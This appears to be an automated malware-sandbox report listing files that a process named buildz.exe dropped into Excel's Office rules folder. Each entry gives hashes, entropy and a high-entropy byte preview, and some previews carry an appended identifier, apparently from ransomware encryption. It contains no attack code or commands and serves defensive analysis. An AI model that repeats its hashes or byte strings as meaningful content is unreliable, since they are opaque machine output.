SHA-512:	8120B202A30D9D4233ED7FAE95C8D80282D8E5481E6B23463EF36B0738E2FAFD9ADF723B9B09054132FB6BD68CF46A27AB2478D7917EF6735D04F65D0B57D93A
Malicious:	false
Reputation:	unknown
Preview:	<?xml#Xb..0..j..0.&.w%....@1..d.}.f$.l...\|z.@.z.....~B..P<..p.. .e5p.TAwk....7..".]...2.D..h6..V...t#...3Op..K..I8..4Pb.bO4 ......2..n..Y3.....l....t...b"...#...X.hP...Gf./\,n...y.......V.......M..{..B..G.O....)...w.!\B..F.......7.a....{.q......1.b. ...U)....6.j,.&...W...s..`0....3.].;vMh..+fdh...}.ot.`....r{b.k=.s.v.uX@..8-am9..B!z.........$......O,0...5.-6.H.R.M......w.>.3v9.fTZ.B....(F...OX.....Q..:=L..:C.-NT...<..1.J....5.b.:...`...z...eS...C..S.......f..$OC.=..m..q....\~..r..Z.{1..\.....8.Op....v..2.>f+..6............t..b.,...W....H.Z.n7.+j..r.#.L..%.i.l.....x.\|w\..&.........J.@y.9....X..\..W.Pn......"..'.o.8F..^=OEk...._^?..L.BMU.:......,.S..C9.$i--..s..3.m.F...I...t...{Hg..'..... .....9+3^y..W....2....5.7...+0\|..F..g.n..LQ.u.,.. 7V....>(.......#1......B...{....\h.k...-...>...]J...".u..t/R..zw.E..@.(+..XVQ.....U.;..].....c....dW4(.....^Y.Q.nQ....S.K.j.HE}.-.}............Z.........^<......f~W<i+.{..&Z.M.i....FGg.@38x>.Yz.0i......<.AQ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180079v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1461
Entropy (8bit):	7.8702312926653155
Encrypted:	false
SSDEEP:	24:Fq/k+iQOVDqMaLliZCs4zLHjEZwwRS7PVhlQeUxBuIbojijUDKxRbD:Fq2pY5i8sMvEZwwRS7PVhl5UxBuIb5FT
MD5:	43B873EF1C779F3946316DB6F95AE4A1
SHA1:	18F11566C1CAF1575B25E50208406A1D11BF0A02
SHA-256:	6901A8C6B20EE69E6D238F459D37CA1635EB490D6ED1D4001E6BB2C399EBA302
SHA-512:	2710ECDBE4717766A605F20D16316210B194C06F198E5AA59457DCDBF109AA082ADA1FF9C924860861CF474946D78245E3F9F98952FFA7428F9E214A5800EA21
Malicious:	false
Reputation:	unknown
Preview:	<?xml,l...),..Ch.h...2..'...3..7....q......hB.......9.j-.X.T......O.......K..A!0..B....V.....LL.Ic..Sm..rw.......1....`...R. .(../E...'l.;..'J.S.!..V.....GI...R.e.5...j.V......Z..........9x...SD.(.P..q..N..........RuD.o..6GF..b3..7.2....(...b%.5d_.^.w...0Ew....&%.!..........%Kvj.h......).FM..B[.+./.CS.....xH....t./'.....\|y..p....Q,.T][....}..`.. ...>`%.:tcO....V...(..D[-...D5...nv..j.....u~jg..m.4$...},...)........g....`......J.0.#~&..qx.j)...d../.+H..~.)VJ.i.......@.sM\....&..z..+/{.vX/d.....n....M....l.-.]&F......J.}.......WT.^..=#.;2....#..i.s..?Ka......P..WSmJ..."p=..........7g)../_..h..:.>........I.@(h...)].......&C.[oE..5.9&e..~.....f._yfwD.5...KV.d...]q..A......I@e.V..].... .{..".i...O..2..8.....)&..1@.=.h}..$....gW..(..Gh../......GA:..7......l.p'I..5.o.D;<......=2..^..*..VW.s.....Z7......e.l.\ ........C......8..j.R.z_...&.yB%..%2...{.t..g)..P..A...F.dQ../=a.).>...u.)$..hm[.^^`..z..e..8L.>...........I!.......,...Ce....:...\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180080v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.831566524961939
Encrypted:	false
SSDEEP:	24:C8Byd1FGDHmh3Q3PBiRKlC7L37F2EclcgGLpvnfbD:CIytT8PcffLF2pcgEnDD
MD5:	DAC9719D92B5F88E6063B409232A6F01
SHA1:	FF87A82FBD18B9FC5121E90AFA748F044EC62C11
SHA-256:	B3B71DC1109E33D59FDD000F15F8F3A999CBE36550486132A200BD95A8AB3A7B
SHA-512:	7CACDFAD5C7D687B69E2F73EB1B475FF4F854DD75F579E6A8E052C0F22218F2BC160D84B2924B10DC6D3E797927737E1A470F3CEC9D2EB8872C0A47F9EB6B932
Malicious:	false
Reputation:	unknown
Preview:	<?xmlS..~.~.7.S.1.v...F..BA.i.W..O...d..+.:.OF.-e}."V.lh..L.N...M;%Bi.%.........5...\.$a...`k.}1.L7....]......p........x$.8,..v....v.~..>..=...);..4[.u.>.I....">.!....u..........9..!2I>j3W..B.6L1..>.P#I....#.1.RQ..z..j.6....^"..c....yM..z..#.....i.:....7......l...P.j1.....lYz2..../...@.]2....p....].l.)......wk.R.&l.^n...=..!....6w.>...i^{..4X.E..i..p..A.f....M.<.D...l.a.j.P..AC..."..N..]...@ET.M....`...[..?q.B..P...3.....$........1.w58.o.P..O..4....Q...W.vs.Lw.N7.O.q.../......P.j...nA.I.l.L,p...60.......U.KV....8.\|kd.;.k..... ...B.........S-RH..H.Kd.........>..J&oY.....'"..6..O.<.\...... ......r...Z$...D.....#.&.......=E...T~R.'Y..qxF...%.0.g6.Ya..~........!......*.J........@S.......O...=.t.KgYn.,1J....Qv_,A....}".]]qy."O.E...-..ks..L.n~............0.;&.G.3.....{.0+..Wf..K.....%..i..H8./..'.ie.?..p...=.(.k.`...$..H..(..F......g.bI.......y..(.....c..G....)LPF....GsE.>...Y.....o&.1Bg.....F.\|7.....6..e.].B.XT8y.<..a.,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180084v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1393
Entropy (8bit):	7.854016664435106
Encrypted:	false
SSDEEP:	24:G0PXu38opGzXPrUscMVm4IseJ+6rpl7k/Dav07NuBQp8kqKodyeQrbD:G0/u3xpZMVjeJTb7wDa+N7pN4QD
MD5:	5D8C10A347C3FF2026E14F6F8AA48999
SHA1:	CF529F090E572798505419BC39B9DC0AE005899F
SHA-256:	C66A8B65D22A9C4A4EE8352A7E7B229FAB6008376DC7F9D29BA3C0558C876FA7
SHA-512:	736799E4A21E0F356AD77A897A5F57F8ABF6CBC3D38792E9F5522D1FA5EC4559C59108A816337B92ACD4F9D5ACCC581CA1C84EB6DF17B0E10FE38BDBE2DE6954
Malicious:	false
Reputation:	unknown
Preview:	<?xml......f..,.;0)x#.0.O....~h..Z9......q@_....v...p..K....8?l..p.h.7..gv.I.........gxUb...9..,..&......._..t....o....b/w.D..{`(]..f..A.p...0!.......n..\...C......H._EQ.R.....=K...@..{ak\......1...9.Ve.f.%..............Z...f.v..A.....@.U.M0.I..W.).-x.I......)=.+v.qV..=a...k.!.~Y.RU..v6.:...7.....<nSI.?...\]..-.O.@.o.K.f..Ue....l..........T.PU.d...?..\|[AD...2..n.0.p.U...{.f....%s.....7h.j.+..........7Tt....".....>F.+s.?}D...M.-..S..g....,...B...m&.~.5. ..!..6.U.n^.....&.....F...<...T....QR.....&=.Va..K.(..3,c.{T.=.6...(...`...c.....8...a]..gsI..Q>N.jNb...e...h_._^.&.=B.NeH.g....).T.1%.d2w...!9..........z...s.b. l.v..8R.8....>...FfZC.......F....-.[`..YCy..~Ty.....N)...q..]..LQH.g.96P%.RT....y..HY8../L.Z..... .w......@.w..7j...H ..'...2..}l......Pv."....bD.....M}.b............-...IX.fk......ye.DlJ.c....9.G....r....L.>.fr..r...)....a..}....8....%..'...../0_..u....0. ..6.[.E.?..........P..^....l....O7J..d..&/..4..<..p.v.o.2O.W...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180087v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	702
Entropy (8bit):	7.668912089357932
Encrypted:	false
SSDEEP:	12:RACSN5ieBd22s1EQAOdnK1fzMRLX9QVlB/hg6ankiZl2JGmzoOyVtAebef1+ciik:TY5ieB3yAOdnKRzMRziVknk0lSGmzIA8
MD5:	E8445500B98514ECD67808D28083A557
SHA1:	E5FE6D5A27B724F8D5475545555A0CDEC932D636
SHA-256:	580B851AC158C3AB87099F4EEC6642A2DA49F820C93700B2BCFDE7E186BD61F9
SHA-512:	D0E4CE697A944580D4926755A77E7A77A1A34D7591B113D8FA3B72C2B8A298827F48FFBFFA3AB832E49E52A3872919F254C332041CA13F708361C07442F77D43
Malicious:	false
Reputation:	unknown
Preview:	<?xmlh....^...dg.&U...C8P....T...LQ........9..n.....D4...f......3k..u......&.6..jx5.....CF..y..pZs....6^.J....(/N.Gf..Cf. ..#..3.....]~..N..5..o...M.)B.)I2.;[$<..vl<.^3...[4.&..+gf.B....wY..../.ig.v..c......x.#Q!.hqK{....y........Z.zb..3...Kz{A{....E..rpJl..../.R....._...C...+n?..l...~.u...H.1Mi...+..I....a......Ty..XcnW.U\Z6j.ebW..{..:.Y.q...j....t!..p9].I+c...t......`._LM.l..1...P.bw...H..Uk....sf[;.H0...qO..V.Ss[...=.t1...&../.`....F......i=..!K....".\|....D.dK.d.=.<.._....:iC....:...^.?4..wLFt. B...Y.3.&..<.t..8....P.."..-.k.....q..5..8H1..]."Nh.>s.7..l.8x}.C... .(..B..q.^.G{zP.-.+t6&.\|...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180135v4.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2212
Entropy (8bit):	7.896955901816787
Encrypted:	false
SSDEEP:	48:X80TJZvLActpBVm5g8MSW/9vFkbDxYX0L6O4iCqvny6VW7KeW2J9c5ItD:X8gtLTLBVp8MSW/9vFkv6JZiCqvny6U5
MD5:	1A6CADED45AD409CC95A70388E13C2C4
SHA1:	5D456E388A654A3C3EFCBDA03C2176D179181613
SHA-256:	026FCE84DB97CD310E0F222799203417582A61BCF4F6B5EBCD7B6DF1E3C81762
SHA-512:	EC51220910B169324ED082B002BF56A34B59DCA93AF1A118DF1C0159EA4254157CCCD922EA1C90A38CED9876DDB414D82276EF10F6709169683B63B100CE8292
Malicious:	false
Reputation:	unknown
Preview:	<?xml....6..._>...P.....I....i......".%........b.......3.....1....w...L..`jY.`....k./R..?.T'..]....._.c _......K.r.(..D5...+Y.:h.=...g..6.2.sw.sqr..DV....3...JA....=..lpm.C..NH..m..P.....-. ";.}..1.O.7&.Q..%..<...\|..V..e........g...tx.....f>.}....C..s.Z_.p.......C..Nj.....^\J.........\.FP.1.s[.z>&..5.E...........0v~.t`....\|..9.$..[.-...`C......S\|....Z`3V.q...).O.?=]..J. ..B.F^.k.g..Z./.v.2..t.\..)y.b..5.4X.61....".>c.y......=.l.A.D....N.z.8.y3+......R].8....h..2....GrmoS..n.?^...Og..S....#=.Fq.y..=...P0.../.h..Hj......3...1.?K..Z.u...k..i...{2M..../.m.R.c5V...t...........q."D.0.B...n.Y.R..,....Ne.....m..X..!...;W#0...1..e.[.v......o..j[..N.}Q.O3.4}.yC..........Y.!.R..?d......:.p/T..'.&9...'}..3Y...P..F;.u)S..C.......7..o2.N..W.fQ."..@._..D.Z...O.$.Q.X,..8...>i..._../Qv.jEV/..a.^>9.\^A...O.Y.b?GT.5..Iw.....O<4..5....k..7YN.....^....7u.7..?...F.....,g....r.lCe...15tJ....H..L..E}4.'.%1..B\..m...G,W^<..... .M.......l.-./..Z.OK.D.q......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180136v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3315
Entropy (8bit):	7.9279278185687
Encrypted:	false
SSDEEP:	96:0UP86IvEjaKVKrQ6Bb6QbQE4lwku8Jo0entSv:0UP8Ej5KrQWdEu8yQv
MD5:	2581D3AAAD2E99053AF391B9B657EFEC
SHA1:	EE6F25883C57B9C62DC7595088CE2B4E254AD0A0
SHA-256:	4E22A00D8D09D37A8387931717927EE66907E638BAF34F5E278BAD56A4E8C6BA
SHA-512:	FA61BE17D58E2C28CDAA72610A7FBA3ABD8C82596A1984606051AE0E4622708614B16B6680BE23F097E66B3F9D177B76ED04336649202BE8A4A75BC9C513F260
Malicious:	false
Reputation:	unknown
Preview:	<?xml.A.}...-.f.V...r;8j..C..E>?..`....7..I.3.]pE!.e.........&SX...c...W34..2...3fW;.....B...2..d-c;........X....A9b.;d.q....bP..G.D.....Z.l.n\H...P...".Ud.OV..VlJ..)ZuK.$o..:U\Z..X......G...G.f.m&H{.A.C."..o....'...K&.F....8.....V.,?..`O....{.Q....M..<...q...(Y.".!/...^.....'.j...FL.1....GlY.7.3.... -/2..m....v+....R.4.Q;..UF.W'..Y.4.Xa....?...]...WfC...c.eM..hY/ZW..X#Ss...F.i..0..Fh...G...F...........ASa.;[.1.di..................i.W.".]nXG.W..... i..RQ..3....6.>.Y)+.H.;.r.......("w...Cw.hZ.wG....dN..4.....].$/hH...h..v;....n.H.GJ..n...+.o.Cu4..h.D.i..}.Q....X....aF1..W...........1..}L;.m...nX..z.sz..pIl..v">...lE.Pr.1.....%e7....~.X..G.px..Ma.K.H..G...2.H.._. .[..X;N.I.._.XA..........d..Z#.n..eX."w[\|....Dk..`s..Q.7S.5....Rb.>Y6d....?...J?.]e0{'-..I'q@..)..5F..w}.9.M.........<......O..yj.2.. .6....i..An..;u.jZ...TM@7...yX9..2......"jB.....\^...G.~...P.d.8.B..2E..n8.Px..T.O3........*..~3V.'.G.LW..g`...`...6......K@wk.......v....'It%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180143v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	7.841118478841693
Encrypted:	false
SSDEEP:	24:wwFQJu6srp+vJ3wyyS5pQoczfA5b9aPTnZR+ZyzkI9ABkkVFV9MiovDBr99x82eX:XFQ06II3wL2OoCfA5xa7ZR0yzt9ABbVp
MD5:	845276BBE668CDF621786AECEA7B0882
SHA1:	A58BCC320A98F2A330F7903542F0B402104AFDC2
SHA-256:	2500E53E4C447A270A2E6142470D795821489FF2C5CAF70C8EF4FE02B6E4A311
SHA-512:	B9D7EBBBA5A3532D46DDD9D102FFF0F4F21EF53F0F81F90E21B879A18A7FBC8E63ED10BE874D3E7564DD2C0AE08E1BFE46951656329168E81623F9F7C2BBD0D1
Malicious:	false
Reputation:	unknown
Preview:	<?xml..Jo.8.;.#.I:..r..P@..!.(..b.`u.......B..:. ...s.).NK.N....O+.Z...1........x.:2D.eZ.Gul...%.g[L.0.L...i+l_o...[...>......!......4Ra.S.!.O....>.o.V..."..pA.\.....m.2.D.h......@.....3....z?.j%x..Z.6./g...h......0.......(a.H.2y...#L../..^..qs....5......`........$...E....((Lv.=........(_@i!.91....<..\.....`+.>C.9...m.......\...E.w...u...`qL...BB..}L..]i....i....w...x<.vdA.e<........u.r?.k....R..E......=a}...w.....6\|)."..%...f..]C..9.4.1,......5..s.E.'../.B...xB\.. :..M.Pk.{{...?.B.7V......0P..].....C......Z.-=..U.-.9.&.&9.J.S...!..._....+.C.=..i.Z.#..P..!.....C.k..M...b...".zbZ.`.i.y#.h.7...&x..g..9..w.l.+.g.2\.}.W.......yu.J.R..>.........C)8F...p..*W.;v....R.;..G..!.......t......+v.....n<.....8..}e..Z.i%'..`...q.[.\[.....c.q.3K>D..@4.y.....%9...N.....I.f`.I....~:.I[.....2..".B8NR...:!.<K...}x+.....s.JK.?/r..{>G..4T-J.4...o.Tjy.>.t.g.y..=p....R...bW.:.L...h.Z..g......YXC.9.o..@.....}K8....rv}f...pN.n...P..c.uM[.vZ;:.Q&..f=;.zN

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180159v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1638
Entropy (8bit):	7.86815432036424
Encrypted:	false
SSDEEP:	48:vOX1G72IX+GH13xCR/D4T2GrhNJ/UsvL8lPm3D:MU2Iuc1A543nJ8sVz
MD5:	EBD7C152B504EE4E98B486140A1AD401
SHA1:	25EF6EFA8F5ABB2570A2902A3F6D3B66E2CCE06F
SHA-256:	12F9777F6CAE8E5C8013CFCA0754E71CFC3BA5F24DE857DAEF86C4C6B6551F4E
SHA-512:	2505DE3DCC9D6C94B780E3DBF09DF8045452FC2B40B87F42E05568B2E490E1E0F40E05382DD83DC8BF30E76B14B285B6B58FA1B210B32D111E1FEAB658E99036
Malicious:	false
Reputation:	unknown
Preview:	<?xml.Fps\.7%.j9.....Qmx<Y..en....a-w..m.<..Wy.u.........]q....,.X.1....Yq.6!_....Bn.W.../D."x.....sd...d.....N.P.+.I.y.)0..[$...A~w.~....H.....>._=..W.h......U......;.g.@C...j).QTQ[/....+.6%...;x.'.....}.....o......a0..'.g......T..;Q.mzM....!2yE.....W..E....R..aC..C.Y..G..DR,...M.e...eI.\|.{W...xP?.e..a.\.l/2..[\|0..H..M.VD........`.X.,...0..x...E.....N.'.9.c&`Kh...iR.g...Z..Y.2.K...n......H....C.O.2...I.............}..ah.?.l.Z$....'...X.J..I....T.....F..C+..yQ.o.I8..3.:.2...P..w.[.#...@8......K.ZP.........`.6......Z.y.......F&.:f...z..&....f.6._Q7...\|.w..p.mG]..3).}........:.2.Cj...}.~.y.5.3.8@......j..!c..6..y.T.X\|4_.X%(u.@4&...,F..[....2..I.M..o..1r..>S.U..!.......mTR....x....c....,.9.......AAh.K<../....'y.i-/4..r.m...A..1mk..>..2.m..h.H-!.(`b=..\e.;.%..\|..%........h.c......?Mo0.=f..:zlb-.]!.R......"..J.......e.V....kG......`Qgg!F....a'%.nd..;.....M..\|h.^x8..mk...".@.Jm.....>...B...~Z.......0..C......8.V..L..P.........-..Y$.B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180160v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1521
Entropy (8bit):	7.8770136239514565
Encrypted:	false
SSDEEP:	24:n4MocZPR6PQmuonKF3Tq1xWU+eg+OpNcfxR52zRim7n2LF0sN/3CnaexNaWEZwv7:4MvPRayonKF+1xWZh+Ze7B/aCU/yvNJH
MD5:	53FF3057BE2784B914C5E8A64E4570E5
SHA1:	D462DB068F83202F72B2E9B8E0FA6304847070C5
SHA-256:	4123AF7DEE9932D80DEA2DAF05B5EE4539E0E18F393238400A41426FB29A3AE3
SHA-512:	7DFD9FF5A90F74A89481CDA2DED74ADE4C2F74F468280E6A92E5B5C7D9786F36AA7BFFE74CF6DF3EC6AAEC6EA24980161635A245D0D79684D91542DB58BED720
Malicious:	false
Reputation:	unknown
Preview:	<?xml.P4r..XG..)......M.....a^1.a.......C..._a..E-....9c..j....m....>........t..u..n[,.k%-.n.)....~~".e@.l...P..A.f.....JP..#."...N-.._.%....so........k.p........Oe..m..o$,L.a..m..I.j8.W&....TL..F..2._....H.O.5......+......r9....j.\.......KB....r.?...AC.].D...W.@W...S...Q..u..N..........B..k@..p...K.f..e...............rR.....SJR.......Uv..P.......=.O#`."G.....$....[...~4...1..i.9_..C...$.e;.y.N...\|\|B..q4.......v.,".L..um\|...9.-..].Ht...0t...... .3v.....#....;a......x%.7............,...c...C....Y.go.2Qo...6..........K.j...3c7..k..........\TA..J.1.a.$m.In#2...}..G.....V .~..95T.K.N..d..R.S.y@$)..>....k.....U.....[...A..>..?..j^..xeH..hM... {@..0...^6z.g...7..3.....Z. ;n....^9...#1.7).-.z.c.b&\.r.i..#..........s..LH.Zh.....S......P.hw../.....V.6.2..........k..q......F....l;...?..qKAY_hl.....8.....q.....g..}.pL\.-........M.J.......Mt..-......@....8u.,{?T.GM.J....L.n.,./Ml.3.v&.<t...pr..u......CQ..{.U..n....j.H..^8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180161v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1975
Entropy (8bit):	7.900921601903658
Encrypted:	false
SSDEEP:	48:9CeQ7cTRktIPNfd9KkXhvJX1YY7FLx2g2Kw6QRoQgXzBI3sD:9bnTRbPhd9KAlYYLx32vOhMI
MD5:	643A334DCA07028E525F3A82EBA0C679
SHA1:	7B68763B451EF71A115C4EF2948C84052CC0426D
SHA-256:	5C0D3FDDFB66D04A0C190D495A57E79CC8CFE2CEFD3B43D52B6BF7241F68BC58
SHA-512:	2806B9A699A1C2E3791BABE66E77166BE4502A6E538111BC927132469BE25642621B8A222A74840555281AD5CF276E5B8A10921D3AB299061002B24CF9803BCD
Malicious:	false
Reputation:	unknown
Preview:	<?xmlW.=..m.K...w.......\...c.<..C...9N......q7.r...x.:N&.....7.i.?.{...&.Lm.\|S.s....#q.2.<....=...k.o.....1.s..}.9.oo.P....).bJJ.......4.."z'....T..^..B.........2.(..].<..<Au..f.Hy.p./.%ao....M.........Yd\l...l.&..^\|..i.".Q....q../...d..#.o.5.'...X.....q}e.8_..U....S.?,.%..%.N.....45.7.{VC.%.>..q...cA....@d.w.A.1..uJm...~..a...{...?.!.m.....y......9...23.9.@.O.g....n....ETV%...wP>0........U:.....4}.)..R.w...o..{.Y.y.....m..Z.fa.atE..C.0E.ff.hf..Ry(v.kC....iHtjw.@.....V.....x..m...o.l;. hw.M.;P..0H.f.}..J.{.LR...o..8p..3.../'r^....jN..tZ..yS.]....K>....0...Q;c.....o0(H.Vq.46.1...r".s.)`&.....4......7. ..h.)..+.y..m5.dx...-..b.EV...Q..I.f.-N....oJ....T.:C-..I......x9t....vH"^hR..{N..i......T.k....'..x~...GE..'. ....G..n.....D.$....m.`&.......O...~D..&.X.....P.......".!.t,>D..=...$.9\..J....j..Cx5.X..W{...W.6.iqx.5.?r...7.$..0G.......F..(TG..$..v..d....6Z.b.....!.A.i.b..g).]...\|.q0E;#...n5...8..'......6.......}....[.$.j.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180162v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1639
Entropy (8bit):	7.883106605759397
Encrypted:	false
SSDEEP:	48:2+zkA6yA+7mmNZPMob37uJ4yAiM9lNxLX2D:BUZwnJbrMr6xLu
MD5:	65FD5805A59C9EB387CFC0428B56E39D
SHA1:	C7B7B4F040282AE00AE2C228EB72F2C56CCFF802
SHA-256:	73E7081DBB4A7605C225CD33F5B0287E0DE748B933E91D2BE1395BB1FD5436F9
SHA-512:	E5781DB8EA32DA7CC6F2F80C9A43ADD622096EF4160AA7C70A7A5E4C9851220716ABB0FD90EC7DD8C3537C1EEF9A3433A7702C77663BC53ABABFA04930AB392A
Malicious:	false
Reputation:	unknown
Preview:	<?xml%~)....>.1..=C.../M._H.]a:...H.Nc..............G\.t0gwK.....,/T...'.CF,.q......+.C.T.NFou#.?..yN.....\..T...L..u.1.5..%R..j.EA..>.}....Zdt;.....)...ao...9B...Z........&J......)\|.\}....=.B%!..ZTt.^..v..w...J..T\...j%.... .....k.X.8.9-f...-....5.%.)2....; C......N%.(._'..W..1..`i..`..z.~.a....7%B....L.1u.i.M...a.........,K....h9q^X.d..'+r_.;...n..=i.U.`<<.....w.".......Ql..{.k.`gO...3..;..R..W....,..{...{5i...Ju..1......r..1m.P..}..-..;....'kK.....x..hT-....D...D.^.1..E.p... ~<.....Z...........u....L.h..........4....X...y.....M_.}...qV.3.!so^.?.o....I.{L.65.e^b..i.:.t.N....F...2.;..9..}2P;u..0..x......e'Z!Nk.+..zW}PHl.M.M.<.9.s.....B..^.".......l.A...q..wJ{......tk...0.J.t....M.P....W.:.dQ.!/...S.C...d...,.A.U.3*...EY..6c....9_..(=...).....$..Q>..k...@d..Z..7)6......)...=S..k7.~......!.....FS.p......!.&..O'b....s..k&.]4....c.......hE.X..Ij......[..-.($.H.#....%_....w...n.m._c.;/.e1.+.....Wh..@.@E\L.c\|....m.RO......=N..k...N...A.C.>.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180163v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	714
Entropy (8bit):	7.686606745608575
Encrypted:	false
SSDEEP:	12:4eQK+jNwhHeTxayKzOn5U0a5Wq3Tim0/9va7yoRupTdVl+ZSt5/Rj+f1+cii9a:4eDkaUDFUTTV0/M7YpdiSX/dDbD
MD5:	F31B2C41770208528C16139C29B3F28F
SHA1:	96AE9BDE9CC4F6C3EDAFE6AB00BC18FB67AF2E7C
SHA-256:	FF0D076A913985C33BAFA876C46B9D64FB7A6D79009E81FB88470F07D4DF5559
SHA-512:	E8A5F58638DC2BFE386F8FE8EEB37FB70E74CF96AD61A52892001B4F43FA9459AC74B7875F352B04B3C917D0674F3DA2EC5096E9769182E36633B619C125D7A1
Malicious:	false
Reputation:	unknown
Preview:	<?xml....g...RR-...5b..U.......R......Z.r..b.c... .w..I.2............h+.T!.~.iO..\..;..z.....v...a~..c..u..........s?W#......R.....n.[q.,...(...K....J...m&8....t.g..Bh..2B..Kk......Q..<..........<"E.8V..5....{n\|w\|.U>`$..=.@.3.6`Ft........g]`b.........#..7iO5]R.*x.-s..wg`.BKU7....&......I.-.l^5..._..`8l.a. .....PQly.H...lO.8.b.;.=c.n..QI..{...'h...i.o....4.XbsL@..k\Z-c...r.'B..I.`.1.E1..,...t.dm.w'..6.... .I.Wg.x....O.\|k....!.t...........f.f..F\eI......{..5..S..i....hdE......M..E.N@.q:.._.0.AtE...._..7..^l..(...atT.....P....N.a.R..4r..qS...>tjX..s..Z..U...p......7D.....".......cZ.3Z.n..,SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180177v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.892593333319658
Encrypted:	false
SSDEEP:	48:z0g6Ik+hj3bgGOuLU/Mwq3Yk9Liw0pYsD:og6N+xbgGOp3q3YKWpl
MD5:	32151865B3013308E6C3E2ADC2CB8284
SHA1:	3E0FFEFBA141CCAB83C29C506D84B721AC973EFE
SHA-256:	1DC0DD74CBFDB3E9E576025E42CCD17E14796D115E5D2F5EDCDCF7672A7D1F1D
SHA-512:	0DFB05E2F2882CCCA1A9EE53828FB10A907DC450021D219885E461339CC612C685DDC052DAEBD4E55A301CD4BA82EC555F64CB1F7E901F81E3BC38BB6B269CF2
Malicious:	false
Reputation:	unknown
Preview:	<?xml../..pHQ..o.;..3..s...!.<..FY!...&=0.<..3.a.h.B.b.Iy.r/_N[.....YC.#.DJ.....j..M..,..:...vN..Z.A.[..D.}...[>..%..QSy...X,....=...jv..._.+..8R..B.Y......g,.0.....E....{No..s..9."..R..\.../....aM.LS...Q^4..;G....}..NL.#.C.........[.Ko.......,7.gs.B.......D...U.....&OZq.....S4o'..3H;i...d..<^Dn#.g.^.Hf@.lV.3....t%..Y....-a.sW..BMpY.x......u[....J.......Q..8.Pp...yoJ.....n..k(.{mA_..Q..e._.<.v0...S...c....G\.......Ph.....P.p/.a...B@..M..4....m7p0.9...#.QX.k.=FwF5h.$./q"W..Q.k...9:1W/...B.W.[<U...v..i...8...)....O......&..5..1..Z....l.Y..PK...;7....H`/.jh.rNm.}...._.c.:._... e...a;....E@z....... ...M=jD...m..L....n..I....3....h."....k......$..1.Fs...Uc..p.....R.n..l..w3..........#..........^.{...dN..}..I.lA(S/.d...V.Wiv..H....$....OA...}..QG...C.}C>.......t........c..............d. .'..Gs.........?..O.k......:...G.....b.%.^.Z.k....-{.,G...(E.....<...(`ZS..p.....P@{..J...&..!..k........M( ..\|......U.{......y?X.l>c....R..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180178v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1251
Entropy (8bit):	7.836371156349286
Encrypted:	false
SSDEEP:	24:WhkYycuDKnQ28kx7gXCS92OUVuvrwy0F0CQXEWXkl1ZzishvvhAxj7rbD:5cuuQsx7kRcvYlk0joZFhHhAtD
MD5:	915D08F8765C4A0F42AA940AB3A8A41E
SHA1:	3A705C2D647EB4BA3B1BDF01634E1685B055802D
SHA-256:	AF10271AE9D15ECAC4DA09623F9BABCC5B50E39664EF9953B65DC893B5572A83
SHA-512:	DA35C4D9AC0F9C616024B463D6F0BA0F69401600F3200A118296DCC1D201B0128413BAA9601C4AA2D9774152A5BDD20C68F2D24E6692456C02EE3000AA159ABE
Malicious:	false
Reputation:	unknown
